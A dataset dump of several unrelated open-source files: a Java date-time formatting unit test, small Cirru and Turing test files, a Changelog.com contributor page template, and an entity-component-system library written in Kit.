// Note: The exact output format using the different FormatStyle constants differs by JVM/Java version
// @Test
// public void shouldPrintStyledDateTime() {
// LocalDateTime anotherSummerDay = LocalDateTime.of(2016, 8, 23, 13, 12, 45);
// Assert.assertEquals("Tuesday, August 23, 2016 1:12:45 PM EET", DateTimeFormatter.ofLocalizedDateTime(FormatStyle.FULL).withZone(ZoneId.of("Europe/Helsinki")).format(anotherSummerDay));
// Assert.assertEquals("August 23, 2016 1:12:45 PM EET", DateTimeFormatter.ofLocalizedDateTime(FormatStyle.LONG).withZone(ZoneId.of("Europe/Helsinki")).format(anotherSummerDay));
// Assert.assertEquals("Aug 23, 2016 1:12:45 PM", DateTimeFormatter.ofLocalizedDateTime(FormatStyle.MEDIUM).withZone(ZoneId.of("Europe/Helsinki")).format(anotherSummerDay));
// Assert.assertEquals("8/23/16 1:12 PM", DateTimeFormatter.ofLocalizedDateTime(FormatStyle.SHORT).withZone(ZoneId.of("Europe/Helsinki")).format(anotherSummerDay));
// }
@Test
public void shouldPrintFormattedDateTimeWithPredefined() {
Assert.assertEquals("2018-03-09", DateTimeFormatter.ISO_LOCAL_DATE.format(LocalDate.of(2018, 3, 9)));
Assert.assertEquals("2018-03-09-03:00", DateTimeFormatter.ISO_OFFSET_DATE.format(LocalDate.of(2018, 3, 9).atStartOfDay(ZoneId.of("UTC-3"))));
Assert.assertEquals("Fri, 9 Mar 2018 00:00:00 -0300", DateTimeFormatter.RFC_1123_DATE_TIME.format(LocalDate.of(2018, 3, 9).atStartOfDay(ZoneId.of("UTC-3"))));
}
@Test
public void shouldParseDateTime() {
Assert.assertEquals(LocalDate.of(2018, 3, 12), LocalDate.from(DateTimeFormatter.ISO_LOCAL_DATE.parse("2018-03-09")).plusDays(3));
}
// Note: The exact output format using the different FormatStyle constants differs by JVM/Java version
// @Test
// public void shouldParseFormatStyleFull() {
// ZonedDateTime dateTime = ZonedDateTime.from(DateTimeFormatter.ofLocalizedDateTime(FormatStyle.FULL).parse("Tuesday, August 23, 2016 1:12:45 PM EET"));
// Assert.assertEquals(ZonedDateTime.of(LocalDateTime.of(2016, 8, 23, 22, 12, 45), ZoneId.of("Europe/Bucharest")), dateTime.plusHours(9));
// }
@Test
public void shouldParseDateWithCustomFormatter() {
DateTimeFormatter europeanDateFormatter = DateTimeFormatter.ofPattern("dd.MM.yyyy");
Assert.assertFalse(LocalDate.from(europeanDateFormatter.parse("15.08.2014")).isLeapYear());
}
@Test
public void shouldParseTimeWithCustomFormatter() {
DateTimeFormatter timeFormatter = DateTimeFormatter.ofPattern("hh:mm:ss a");
Assert.assertTrue(LocalTime.from(timeFormatter.parse("12:25:30 AM")).isBefore(LocalTime.NOON));
}
@Test
public void shouldParseZonedDateTimeWithCustomFormatter() {
DateTimeFormatter zonedFormatter = DateTimeFormatter.ofPattern("dd.MM.yyyy HH:mm z");
Assert.assertEquals(7200, ZonedDateTime.from(zonedFormatter.parse("31.07.2016 14:15 GMT+02:00")).getOffset().getTotalSeconds());
}
@Test(expected = DateTimeParseException.class)
public void shouldExpectAnExceptionIfDateTimeStringNotMatchPattern() {
DateTimeFormatter zonedFormatter = DateTimeFormatter.ofPattern("dd.MM.yyyy HH:mm z");
ZonedDateTime.from(zonedFormatter.parse("31.07.2016 14:15"));
}
@Test
public void shouldPrintFormattedZonedDateTime() {
ZonedDateTime zonedDateTime = ZonedDateTime.of(2021, 02, 15, 0, 0, 0, 0, ZoneId.of("Europe/Paris"));
String formattedZonedDateTime = DateTimeFormatter.ISO_INSTANT.format(zonedDateTime);
Assert.assertEquals("2021-02-14T23:00:00Z", formattedZonedDateTime);
}
@Test(expected = UnsupportedTemporalTypeException.class)
public void shouldExpectAnExceptionIfInputIsLocalDateTime() {
DateTimeFormatter.ISO_INSTANT.format(LocalDate.now());
}
@Test
public void shouldParseZonedDateTime() {
DateTimeFormatter formatter = DateTimeFormatter.ISO_INSTANT.withZone(ZoneId.systemDefault());
ZonedDateTime zonedDateTime = ZonedDateTime.parse("2021-10-01T05:06:20Z", formatter);
Assert.assertEquals("2021-10-01T05:06:20Z", DateTimeFormatter.ISO_INSTANT.format(zonedDateTime));
}
@Test(expected = DateTimeParseException.class)
public void shouldExpectAnExceptionIfTimeZoneIsMissing() {
ZonedDateTime zonedDateTime = ZonedDateTime.parse("2021-11-01T05:06:20Z", DateTimeFormatter.ISO_INSTANT);
}
@Test(expected = DateTimeParseException.class)
public void shouldExpectAnExceptionIfSecondIsMissing() {
ZonedDateTime zonedDateTime = ZonedDateTime.parse("2021-12-02T08:06Z", DateTimeFormatter.ISO_INSTANT);
}
}
| Java | 5 | DBatOWL/tutorials | core-java-modules/core-java-datetime-string/src/test/java/com/baeldung/datetime/DateTimeFormatterUnitTest.java | [
"MIT"
] |
得 $ js/Math.min 两百 一百 四百
得 js/Math.PI
| Cirru | 1 | Cirru/jiuzhang-lang | tests/native-api.cirru | [
"MIT"
] |
unit
class A
implement by Abody
export MyA, MyA2
deferred procedure MyA
deferred procedure MyA2
end A
| Turing | 2 | ttracx/OpenTuring | turing/test/implement by example/A.tu | [
"MIT"
] |
<article class="article">
<div class="richtext">
<h1>Contribute to Changelog.com</h1>
<p>Write for Changelog.com to reach a wide developer audience. We're a news and podcasts destination for software makers and leaders that reaches 75,000+ developers weekly.</p>
<hr>
<h2>What we bring</h2>
<p>We're a platform for indie developers and teams to publish "big idea" original content that's highly focused on software makers and leaders.</p>
<ul>
<li>Diverse software makers and leaders audience</li>
<li>Great looking post styles</li>
<li>Threaded discussions and comments on all content</li>
<li>Editorial support and content design</li>
<li>We tweet everything we publish</li>
<li>Distribution of your content in our weekly newsletter (based on popularity)</li>
<li>Recognition and byline with links back to you elsewhere on the internet</li>
<li>Represeentation, participation, and involvement in our developer community</li>
</ul>
<p><mark>For brands, our main criteria for content is not to be a marketing pitch.</mark></p>
<p>This is strictly in via invite only mode right now. If you're reading this you've likely been invited.</p>
<p>All posts are subject to editorial review.</p>
<h2>What we're looking for</h2>
<p>What we want is strong thought leadership and "big idea" content to share with the developer community. You're a developer (or represent a dev org), you know exactly what you want when you land on an article. Create that.</p>
<h2>Our framework</h2>
<ul>
<li>We start talking</li>
<li>You pitch an idea or concept</li>
<li>We approve that</li>
<li>You write an outline or something outline-like</li>
<li>We approve that</li>
<li>You write the post</li>
<li>We edit, publish, and promote it</li>
</ul>
<p>Like any process, we're flexible.</p>
<h2>The pitch</h2>
<p>Your pitch should include the following.</p>
<ul>
<li>Potential title</li>
<li>Who is this being written for?</li>
<li>What would someone be searching for and be glad they found what you've written?</li>
<li>Write a brief summary (or an outline) introducing your idea and plan</li>
<li>Share this via Dropbox Paper or Google docs</li>
</ul>
<p><a href="mailto:editors@changelog.com">Get in touch to start talking about your idea!</a></p>
</div>
</article>
| HTML+EEX | 0 | PsOverflow/changelog.com | lib/changelog_web/templates/page/contribute.html.eex | [
"MIT"
] |
/**
* An ECS library written in kit
* @author Tyler Bezera
*/
import kit.hash;
import kit.map;
import kit.set;
/**
* Used as flags when notifying the engine when one of it's entites have changed.p
*/
enum EntityState{
COMPONENT_ADDED;
COMPONENT_REMOVED;
TAG_ADDED;
TAG_REMOVED;
public function toString(): CString{
match this{
COMPONENT_ADDED => return "added";
COMPONENT_REMOVED => return "removed";
TAG_ADDED => return "addedTag";
TAG_REMOVED => return "removedTag";
}
}
}
/**
* Component trait, any component struct must implement
*/
trait Component {
/**
* Return the unique type for this component, i.e "Position"
* @return {CString}
*/
function typeIdentifier(): CString;
/**
* Returns a pointer to the base component hidden by this trait, when this
* is used with casting to a type, as PositionComponent, you can access underlying component fields
* @return {Ptr[Void]}
*/
public function base(): Ptr[Void]{
return &this;
}
}
/**
* System trait, any system must implement this
*/
trait System {
public static var engine: Ptr[Engine];
/**
* Update function once per iteration, based on delta time passed to engine.
* @param {Float} delta - The time since the last frame
* @param {Ptr[Engine]} engine - Reference to the engine this system belongs to, used for querying components
*/
public function update(delta: Float, engine: Ptr[Engine]): Void;
/**
* Return the unique type for this component, i.e "Position"
* @return {CString}
*/
public function typeIdentifier(): CString;
/**
* Returns a pointer to the base system hidden by this trait, when this
* is used with casting to a type, as MovementSystem, you can access underlying system field
* @return {Ptr[Void]}
*/
public function base(): Ptr[Void]{
return &this;
}
}
/**
* An Entity is represented by a collection of components and a uniqueID, and name. These are held in a struct, so that an Entity can be decoupled from an
* Engine at no cost.
*/
struct Entity {
private var components: Map[CString, Box[Component]];
private var allocator: Box[Allocator];
public var uniqueID: Int;
public var name: CString;
private var tags: Set[CString];
private var engine: Ptr[Engine];
private static var id: Int = 0;
/**
* Constructor for an Entity
* @param {Box[Allocator]} allocator - If not provided, will use implicit allocator. (stack)
* @param {CString} name - The Entity name, note this should be unique as an engine will not allow adding a duplicate named entity
*/
public static function new(allocator: Box[Allocator], name: CString): Entity using implicit allocator {
var components = Map.new(10);
var uniqueID: Int = Entity.id++;
var tags = Set.new();
return struct Self {
components,
allocator,
uniqueID,
name,
tags
};
}
/**
* The addComponent method on Entity adds a component, duplicate or not, to the Entities components based on it's type.
* @param {Box[Component]} component - Component to be added, will replace an existing component with the same type
*/
public function addComponent(component: Box[Component]) {
if !this.containsComponent(component.typeIdentifier()) {
this.components.put(component.typeIdentifier(), component);
}
else {
this.components.remove(component.typeIdentifier());
this.components.put(component.typeIdentifier(), component);
}
this.notifiyChange(EntityState.COMPONENT_ADDED, component.typeIdentifier());
}
/**
* Method takes precaution by using an Option as the return method for components. The base Box[Component]
* can be unwrapped by calling .unwrap() on the returned object.
* @param {CString} typeIdentifier - The type of component that should be retrieved from this entity.
* @return {Option[Box[Component]]} Objects are wrapped in an Option to keep safe, passing unsafe behavior to caller
*/
public function getComponent(typeIdentifier: CString): Option[Box[Component]] {
if this.components.exists(typeIdentifier) {
return this.components.get(typeIdentifier);
}
return None;
}
/**
* For quick iteration of components, this returns an array of component types.
* @return {Array[CString]} An array of the component types that this entity contains
*/
public function getComponents(): Array[CString] {
return this.components.keys();
}
/**
* Unique set of tags belonging to this entity.
* @return {Set[CString]} The tags the entity has
*/
public function getTags(): Set[CString] {
return this.tags;
}
/**
* Check whether component of type exists
* @param {CString} type - The type of the component, such as "Position"
* @return {Bool} Does this entity contain the component?
*/
public function containsComponent(type: CString): Bool {
return this.components.exists(type);
}
/**
* Remove a component from this entity by type.
* @param {CString} typeIdentifier - The type of component to remove, such as "Position"
*/
public function removeComponent(typeIdentifier: CString): Void {
if(this.containsComponent(typeIdentifier)){
this.components.remove(typeIdentifier);
this.notifiyChange(EntityState.COMPONENT_REMOVED, typeIdentifier);
}
}
/**
* Internal function for an Entity, notifies the engine when an entity has changed state.
* @param {EntityState} change - An enum value representing the state of change
* @param {CString} typeIdentifier - Type of component
*/
private function notifiyChange(change: EntityState, typeIdentifier: CString){
this.engine.entityHasChanged(change, typeIdentifier, this.uniqueID);
}
/**
* Add a tag to this Entity
* @param {CString} tagName - the name of the tag
*/
public function addTagByName(tagName: CString) {
this.tags.put(tagName);
this.notifiyChange(EntityState.TAG_ADDED, tagName);
}
/**
* Remove a tag from this entity
* @param {CString} tagName - the name of the tag we want to remove
*/
public function removeTagByName(tagName: CString) {
this.tags.remove(tagName);
this.notifiyChange(EntityState.TAG_REMOVED, tagName);
}
}
struct Engine {
private var entities: Map[Int, Ptr[Entity]];
private var systems: Map[CString, Box[System]];
private var entitesToComponent: Map[CString, Set[Int]];
private var entitesToTag: Map[CString, Set[Int]];
private var entityNames: Set[CString];
private var allocator: Box[Allocator];
public static function new(allocator: Box[Allocator]): Engine using implicit allocator {
var entities: Map[Int, Ptr[Entity]] = Map.new(10);
var systems: Map[CString, Box[System]] = Map.new(10);
var entitesToComponent: Map[CString, Set[Int]] = Map.new(10);
var entitesToTag: Map[CString, Set[Int]] = Map.new(10);
var entityNames: Set[CString] = Set.new(10);
return struct Self {
entities,
systems,
entitesToComponent,
entitesToTag,
entityNames,
allocator
};
}
public function addEntity(entity: Ptr[Entity]): Bool {
if(!this.entities.exists(entity.uniqueID) && !this.entityNames.exists(entity.name)) {
this.entities.put(entity.uniqueID, entity);
entity.engine = &this;
var list = entity.getComponents();
for type in list{
if(!this.entitesToComponent.exists(type)) {
this.entitesToComponent.put(type, Set.new());
}
this.addComponentFromEntity(type, entity.uniqueID);
}
var tagList = entity.getTags();
for type in tagList {
if !this.entitesToTag.exists(type) {
this.entitesToTag.put(type, Set.new());
}
this.addTagFromEntity(type, entity.uniqueID);
}
return true;
}
return false;
}
public function removeEntity(entity: Entity) {
if(this.entities.exists(entity.uniqueID)) {
this.entities.remove(entity.uniqueID);
var list = entity.getComponents();
for type in list{
if(this.entitesToComponent.exists(type)) {
this.removeComponentFromEntity(type, entity.uniqueID);
}
}
var tagList = entity.getTags();
for type in tagList {
if this.entitesToTag.exists(type) {
this.removeTagFromEntity(type, entity.uniqueID);
}
}
}
}
/**
* Retrieve an Entity by it's name, note this runs in O(n) so use with care.
*/
public function getEntityByName(name: CString): Ptr[Entity] {
var entityArray: Array[Int] = this.entities.keys();
for i in 0 ... entityArray.length {
if this.entities.get(entityArray[i]).unwrap().name == name {
return this.entities.get(entityArray[i]).unwrap();
}
}
}
public function getEntitesByTag(tagName: CString): Array[Ptr[Entity]] {
if(this.entitesToTag.exists(tagName)) {
var entitySet = this.entitesToTag.get(tagName).unwrap();
var entityArray: Array[Ptr[Entity]] = Array.new(entitySet.length);
var i = 0;
for key in entitySet{
entityArray[i] = this.entities.get(key).unwrap();
i++;
}
return entityArray;
}
}
public function entityHasChanged(change: EntityState, typeIdentifier: CString, entityID: Int){
printf("Entity: %i, has %s, Component: %s\n", entityID, change.toString(), typeIdentifier);
match(change.toString()){
"added" => this.addComponentFromEntity(typeIdentifier, entityID);
"removed" => this.removeComponentFromEntity(typeIdentifier, entityID);
"addedTag" => this.addTagFromEntity(typeIdentifier, entityID);
"removedTag" => this.removeTagFromEntity(typeIdentifier, entityID);
}
}
private function addTagFromEntity(tagName: CString, entityID: Int) {
if this.entitesToTag.exists(tagName) {
var entitySet: Set[Int] = this.entitesToTag.get(tagName).unwrap();
entitySet.put(entityID);
} else {
var entitySet: Set[Int] = Set.new();
entitySet.put(entityID);
this.entitesToTag.put(tagName, entitySet);
}
}
private function removeTagFromEntity(tagName: CString, entityID: Int) {
if this.entitesToTag.exists(tagName) {
var entitySet: Set[Int] = this.entitesToTag.get(tagName).unwrap();
entitySet.remove(entityID);
}
}
private function addComponentFromEntity(type: CString, en: Int){
if(this.entitesToComponent.exists(type)){
var entitySet: Set[Int] = this.entitesToComponent.get(type).unwrap();
entitySet.put(en);
}
else {
var entitySet: Set[Int] = Set.new();
entitySet.put(en);
this.entitesToComponent.put(type,entitySet);
}
}
private function removeComponentFromEntity(type: CString, en: Int){
if(this.entitesToComponent.exists(type)){
var entitySet: Set[Int] = this.entitesToComponent.get(type).unwrap();
entitySet.remove(en);
}
}
public function addSystem(type: CString, system: Box[System]) {
if(!this.systems.exists(type)){
this.systems.put(type, system);
}
}
public function removeSystem(type: CString, system: Box[System]) {
if(!this.systems.exists(type)){
this.systems.remove(type);
}
}
public function entitiesForComponents(components: Int, types...): Array[Ptr[Entity]] {
var entitySet: Set[Int] = Set.new();
for i in 0 ... components{
var component: CString = types;
var setRef = this.entitesToComponent.get(component).unwrap();
entitySet.unionSet(setRef);
}
var entityArray: Array[Ptr[Entity]] = Array.new(entitySet.length);
var i = 0;
for entity in entitySet{
entityArray[i] = this.entities.get(entity).unwrap();
i++;
}
return entityArray;
}
public function entitiesForComponent(type: CString): Array[Ptr[Entity]] {
if(this.entitesToComponent.exists(type)) {
var entitySet = this.entitesToComponent.get(type).unwrap();
var entityArray: Array[Ptr[Entity]] = Array.new(entitySet.length);
var i = 0;
for key in entitySet{
entityArray[i] = this.entities.get(key).unwrap();
i++;
}
return entityArray;
}
}
public function update(delta: Float) {
for key in this.systems {
this.systems.get(key).unwrap().update(delta, this);
}
}
} | Kit | 5 | smola/language-dataset | data/github.com/Gamerfiend/kit-ecs/8ab8a2c861820acf24a0f24aa19647b50821da18/src/ecs.kit | [
"MIT"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.